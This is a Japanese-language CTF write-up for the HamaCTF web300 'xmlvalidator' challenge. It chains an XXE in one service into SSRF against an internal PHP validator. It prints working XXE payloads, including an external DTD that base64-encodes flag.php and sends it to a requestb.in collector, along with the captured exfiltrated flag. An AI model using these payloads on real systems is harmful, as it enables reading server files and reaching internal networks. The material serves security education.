CTF
writeup
HamaCTF
XXE
SSRF

HamaCTF xmlvalidator writeup

web300 xmlvalidator

問題文

have you hacked xmlint?
okay go ahead:
http://xmlvalidator/
(available on the internal network)

ローカルネットワークからじゃないとアクセスできないらしい。
ヒントでweb200のxmlintからアクセスできるということを教えてもらった
xmllintの問題ページから以下のxmlを入力する。

<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY bar SYSTEM
  "php://filter/convert.base64-encode/resource=http://xmlvalidator/">
]>
<foo>
  &bar;
</foo>

レスポンス

<!doctype html>
<html>
  <head>
    <title>XML Validator</title>
    <script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.3/umd/popper.min.js" integrity="sha384-vFJXuSJphROIrBnz7yo7oB41mKfc8JzQZiCq4NCceLEaO4IHwicKwpJf9c9IpFgh" crossorigin="anonymous"></script>
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/css/bootstrap.min.css" integrity="sha384-PsH8R72JQ3SOdhVi3uxftmaW6Vc51MKb0q5P2rRUpPvrszuE4W1povHYgTpBfshb" crossorigin="anonymous">
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/js/bootstrap.min.js" integrity="sha384-alpBpkh1PFOepccYVYDB4do5UnbKysX5WZXm3XxPqe5iKTfUKjNkCk9SaVuEZflJ" crossorigin="anonymous"></script>

    <style>
body {
  padding: 20px;
}
    </style>
  </head>
  <body>
    <div classs="container">
      <form class="form-group"> 
        <label for="xml">Input XML to validate:</label>
        <textarea class="form-control" rows="20" id="xml" name="xml"></textarea>
        <button class="btn btn-primary btn-block" type="submit">validate!</button>
      </form>
    </div>
    <!-- <a href="/?source=1">source code</a>-->
  </body>
</html>

?source=1でソースが見れそう

<?php
include "flag.php";
ini_set('display_errors', 1);

if (!empty($_REQUEST['source'])) {
    highlight_file(__FILE__);
    die();
}

if (!empty($_REQUEST['xml'])) {
    $xmlstr = $_REQUEST['xml'];
    libxml_use_internal_errors(true);
    $doc = new DOMDocument();
    $doc->substituteEntities = true;

    if ($doc->loadXML($xmlstr)) {
        $xml = 'valid';
    } else {
        $xml = "invalid:\n";
        $err = libxml_get_errors();
        foreach($err as $e) {
            $xml .= "line {$e->line}: {$e->message}";
        }
        libxml_clear_errors();
    }
}
?>

ここにもXXEの脆弱性があるので自分で待ち受けているサーバーに攻撃用のxmlファイルを用意し、それを読み込ませてSSRFを狙う

サーバーに置くファイル

<!ENTITY % filebase64 SYSTEM "php://filter/convert.base64-encode/resource=flag.php">
<!ENTITY % injme '<!ENTITY startme SYSTEM "https://requestb.in/xxxxxxx?xxe=%filebase64;">'>%injme;

xmllintに以下を入力する。

<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY bar SYSTEM
  "php://filter/convert.base64-encode/resource=http://xmlvalidator/?xml=%3C%21DOCTYPE+root+%5B%3C%21ELEMENT+root+ANY+%3E%3C%21ENTITY+%25+xxe+SYSTEM+%22https%3A%2F%2Fexample.com%2Fxxe.dtd%22%3E%25xxe%3B%5D%3E%3Croot%3E%26startme%3B%3Croot%3E">
]>
<foo>
  &bar;
</foo>

SSRFで待ち受けているサーバーのログにフラグがbase64エンコードされて送られてきている。

xxe: PD9waHAKJGZsYWcgPSAiSGFtYUNURntncmU0dF95MHVfYXIzX1hYRV9tNHN0M3J9IjsK

HamaCTF{gre4t_y0u_ar3_XXE_m4st3r}